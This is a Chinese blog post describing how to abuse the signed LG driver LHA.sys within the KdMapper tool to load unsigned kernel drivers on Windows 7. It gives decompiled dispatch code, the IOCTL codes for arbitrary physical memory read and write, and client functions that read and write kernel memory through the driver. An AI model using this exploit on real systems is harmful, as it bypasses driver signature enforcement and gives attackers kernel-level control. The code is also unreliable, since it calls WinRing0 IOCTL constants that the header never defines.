首页 > 其他分享 >KdMapper扩展实现之LG(LHA.sys)

KdMapper扩展实现之LG(LHA.sys)

时间:2023-09-19 18:34:05浏览次数:42  
标签:LG pSystemBuffer LHA ULONG sys ntStatus MEMORY PHYSICAL

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 LHA.sys 
时间戳 5C255B03
MD5 748CF64B95CA83ABC35762AD2C25458F
文件版本 1.1.1811.2101
设备名称 \\.\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}
读物理内存 0x9C402FD8
写物理内存 0x9C402FDC
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
	PVOID v3; // rax
	NTSTATUS result; // eax
	PDEVICE_OBJECT DeviceObject; // [rsp+50h] [rbp-128h] BYREF
	struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-120h] BYREF
	UNICODE_STRING DefaultSDDLString; // [rsp+68h] [rbp-110h] BYREF
	struct _UNICODE_STRING SymbolicLinkName; // [rsp+78h] [rbp-100h] BYREF
	WCHAR SourceString[48]; // [rsp+90h] [rbp-E8h] BYREF
	WCHAR Dst[56]; // [rsp+F0h] [rbp-88h] BYREF

	memmove(SourceString, L"\\Device\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}", 0x5Eui64);
	memmove(Dst, L"\\DosDevices\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}", 0x66ui64);
	v3 = MmAllocateNonCachedMemory(0x2000ui64);
	::Dst = v3;
	if (!v3)
		return -1073741670;
	memset(v3, 255, 0x2000ui64);
	RtlInitUnicodeString(&DestinationString, SourceString);
	RtlInitUnicodeString(&SymbolicLinkName, Dst);
	RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
	result = WdmlibIoCreateDeviceSecure(
		DriverObject,
		0,
		&DestinationString,
		0x22u,
		0x100u,
		0,
		&DefaultSDDLString,
		&DeviceClassGuid,
		&DeviceObject);
	if (result >= 0)
	{
		byte_15334 = 1;
		::DeviceObject = DeviceObject;
		IoWorkItem = IoAllocateWorkItem(DeviceObject);
		if (!IoWorkItem)
		{
			IoDeleteDevice(::DeviceObject);
			return -1073741670;
		}
		result = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
		if (result >= 0)
		{
			DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_111A4;
			DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
			DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_111CC;
			SpinLock = 0i64;
			result = 0;
		}
	}
	return result;
}

 

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        unsigned int nIoControlCode; // ecx
        __int64 nInputBufferLength; // rdx
        __int64 nOutputBufferLength; // r8
        char* pSystemBuffer; // rsi
        char* ntStatus; // rdi
        SIZE_T nMappedIoSpaceSize; // rbx
        _DWORD* pMappedIoSpaceAddresssV16; // rcx
        _BYTE* pMappedIoSpaceAddresss; // rax
        SIZE_T nMappedIoSpaceSizeV25; // r12
        PVOID pMappedIoSpaceAddresssV27; // rax
        char* pSourceAddress; // rdx
        void* pMappedIoSpaceAddresssV29; // rbx
        PHYSICAL_ADDRESS pPhysicalAddress; // rcx
        SIZE_T nLoopCount; // r8
        signed __int64 pAddressOffset; // rdx
        PHYSICAL_ADDRESS PhysicalAddress; // [rsp+58h] [rbp+10h] BYREF

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        pSystemBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
        ntStatus = 0i64;
        if (nIoControlCode > 0x9C403020)
        {
            LABEL_17:
              LODWORD(pIrp->IoStatus.Information) = nMappedIoSpaceSize;
              goto LABEL_167;
                ......
        }
        if (nIoControlCode > 0x9C402FB0)
        {
                if (nIoControlCode <= 0x9C402FD0)
                {
                        ......
                LABEL_63:
                    pMappedIoSpaceAddresssV16 = pMappedIoSpaceAddresss;
                LABEL_48:
                    MmUnmapIoSpace(pMappedIoSpaceAddresssV16, nMappedIoSpaceSize);
                    goto LABEL_17;            
                LABEL_72:
                        pMappedIoSpaceAddresssV29 = pMappedIoSpaceAddresssV27;
                        memmove(pMappedIoSpaceAddresssV27, pSourceAddress, nMappedIoSpaceSizeV25);
                        MmUnmapIoSpace(pMappedIoSpaceAddresssV29, nMappedIoSpaceSizeV25);
                        LODWORD(pIrp->IoStatus.Information) = nMappedIoSpaceSizeV25;
                        goto LABEL_167;
                }
                switch (nIoControlCode)
                {
                case 0x9C402FD4:
                        ......
                case 0x9C402FD8:
                        nMappedIoSpaceSize = *((unsigned int*)pSystemBuffer + 2);// //读物理内存
                        LODWORD(pIrp->IoStatus.Information) = 0;
                        if ((unsigned int)nInputBufferLength < 0xC
                                || (unsigned int)nOutputBufferLength < (unsigned int)nMappedIoSpaceSize)
                        {
                                goto LABEL_127;
                        }
                        pMappedIoSpaceAddresss = MmMapIoSpace(*(PHYSICAL_ADDRESS*)pSystemBuffer, nMappedIoSpaceSize, MmNonCached);
                        if ((_DWORD)nMappedIoSpaceSize)
                        {
                                nLoopCount = nMappedIoSpaceSize;
                                pAddressOffset = pMappedIoSpaceAddresss - pSystemBuffer;
                                do
                                {
                                        *pSystemBuffer = pSystemBuffer[pAddressOffset];
                                        ++pSystemBuffer;
                                        --nLoopCount;
                                } while (nLoopCount);
                        }
                        goto LABEL_63;
                case 0x9C402FDC:
                        pPhysicalAddress = *(PHYSICAL_ADDRESS*)pSystemBuffer;// 写物理内存
                        nMappedIoSpaceSizeV25 = *((unsigned int*)pSystemBuffer + 2);
                        LODWORD(pIrp->IoStatus.Information) = 0;
                        if ((unsigned int)nInputBufferLength < 0xC)
                                goto LABEL_127;
                        pMappedIoSpaceAddresssV27 = MmMapIoSpace(pPhysicalAddress, nMappedIoSpaceSizeV25, MmNonCached);
                        pSourceAddress = pSystemBuffer + 12;
                        goto LABEL_72;
                }

        }

        ......
LABEL_167:
        pIrp->IoStatus.Status = (int)ntStatus;
        IofCompleteRequest(pIrp, 0);
        return (unsigned int)ntStatus;
}

  其中读取物理内存 ControlCode 为 0x9C402FD8,写入物理内存为 0x9C402FDC。

 

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct _LHA_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
                ULONG Length;
        } LHA_READ_WRITE_PHYSICAL_MEMORY_INFO, *PLHA_READ_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define LHA_DEVICE_TYPE          (DWORD)0x9C40
#define LHA_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0xBF6
#define LHA_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0xBF7


#define IOCTL_LHA_READ_PHYSICAL_MEMORY      \
    CTL_CODE(LHA_DEVICE_TYPE, LHA_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402FD8
#define IOCTL_LHA_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(LHA_DEVICE_TYPE, LHA_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402FDC

 

4.2 .c文件

NTSTATUS lg_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL lg_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

BOOL WINAPI lg_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;


        LHA_READ_WRITE_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));
        request.Length = NumberOfBytes;
        request.PhysicalAddress.QuadPart = PhysicalAddress;
        __try {

                if (DoWrite) {
                        ULONG nAllocateBufferLength = sizeof(LHA_READ_WRITE_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
                        PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
                        if (pBufferWrite)
                        {
                                RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
                                RtlCopyMemory(pBufferWrite, &request, sizeof(request));
                                RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_WINRING0X64_WRITE_PHYSICAL_MEMORY,
                                        pBufferWrite,
                                        nAllocateBufferLength,
                                        0,
                                        0);
                        }
                        else
                        {
                                Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
                        }

                }
                else {
                        bResult = SuperCallDriver(DeviceHandle,
                                IOCTL_WINRING0X64_READ_PHYSICAL_MEMORY,
                                &request,
                                sizeof(request),
                                Buffer,
                                NumberOfBytes);
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI lg_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI lg_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI lg_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI lg_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

 

5. 运行效果

  Windows7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  

 

6.特别提示

  使用winring0x64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

标签:LG,pSystemBuffer,LHA,ULONG,sys,ntStatus,MEMORY,PHYSICAL
From: https://www.cnblogs.com/ImprisonedSoul/p/17715429.html

相关文章

  • 支持SpEL表达式的自定义日志注解@SysLog介绍
    目录序言预期思路过程结果序言之前封装过一个日志注解,打印方法执行信息,功能较为单一不够灵活,近来兴趣来了,想重构下,使其支持表达式语法,以应对灵活的日志打印需求。该注解是方法层面的日志打印,如需更细的粒度,还请手撸log.xxx()。预期通过自定义注解,灵活的语法表达式,拦......
  • System API——arraycopy
    System.arraycopy(参数1,参数2,参数3,参数4,参数5)参数1:数据源,要拷贝的数据从哪个数组来参数2:从数据源数组中的第几个索引开始拷贝参数3:目的地,要把数据拷贝到哪个数组中参数4:目的地数组的索引参数5:拷贝的个数......
  • 通过 Helm Chart 部署 Easysearch
    Easysearch可以通过Helm快速部署了,快来看看吧!Easysearch的Chart仓库地址在这里https://helm.infinilabs.com。使用Helm部署Easysearch有两个前提条件:cert-managerlocal-path我们先按照Chart仓库的说明来快速部署一下。~helmrepoaddinfinilabshttps://he......
  • 【SystemUI】动态显示或隐藏状态栏及导航栏
    【SystemUI】动态显示或隐藏状态栏及导航栏平台:RK_TAOBAO_356X   Android11需求描述:动态切换状态栏与导航栏的显示或隐藏【解决方案】通过收发广播进行切换;>备注: protected-broadcast 为保护广播,如第三方应用想要接收到系统发送到以下广播,系统需对第三方应......
  • KingbaseES V8R6集群运维案例之---sys_monitor.sh start启动动态库错误
    案例说明:在KingbaseESV8R6集群部署了postgis后,执行sys_monitor.shstart启动集群时,出现动态库错误,如下图所示:适用版本:KingbaseESV8R6操作系统:KylinV10Server一、问题分析1、手工执行sys_ctl启动数据库服务,启动正常。2、执行sh-xsys_monitor.shstart查看脚本启动......
  • KingbaseES V8R6集群运维案例--cluster模式备份sys_backup.sh init故障
    KingbaseESV8R6集群运维案例--cluster模式备份sys_backup.shinit故障案例说明:通过脚本方式部署KingbaseESV8R6集群后,在‘cluster’模式备份,执行sys_backup.shinit时,出现“cannotcontain//for”log-path"option"错误,但是在‘single’模式下备份,无此错误。故障信息......
  • 通过Sysmon+Nxlogs收集Windows Server 2012服务器日志-并以Syslog形式发送Json格式数
    0x01环境介绍WindowsServer2012已经安装部署好了域控,目的除了收集Windows服务器本身的日志外还收集域控环境下的各种日志。0x02Nxlog配置和使用使用社区版本即可,下载地址:https://nxlog.co/downloads/nxlog-ce#nxlog-community-edition使用的版本是当前最新版本安装过程就省略,......
  • mysql连接不上Job for mysqld.service failed because the control process exited wi
    问题:mysql服务器链接不上我们是自己买的服务器搭建的,查看mysql的服务器能不能连的上,看服务是否正常查看进程:top-c;查看磁盘:df-h;linux环境有很多大小,只需要看最大的一个存储就行了,发现可使用的没了,我这图片是清理过后的问题解决先要排查是哪些文件堆满了磁盘,极大的......
  • rsyslog loganalyzer 日志审计
      rsyslog服务器端/etc/rsyslog.conf配置增加:$Modloadommysql$ModLoadimmark*.info;mail.none;authpriv.none;cron.none:ommysql:localhost,Syslog,rsyslog,myl@588Xx rsyslog客户端/etc/rsyslog.conf增加配置*.*@192.168.0.228:514命令行执行记录......
  • 添加Element ui依赖报错:npm ERR code EPERM,syscall mkdir, npm ERR! path D:\Vue\
    添加Elementui依赖报错:npmERRcodeEPERM,syscallmkdir,npmERR!pathD:\Vue\nodejs\node_cache\_cacache\index-v5\f3\de具体报错信息如下:我这个是在IDEA控制台输入npmielement-ui-S添加elementui依赖时出现的报错解决办法:修改nodejs(安装node的安装地址那里)......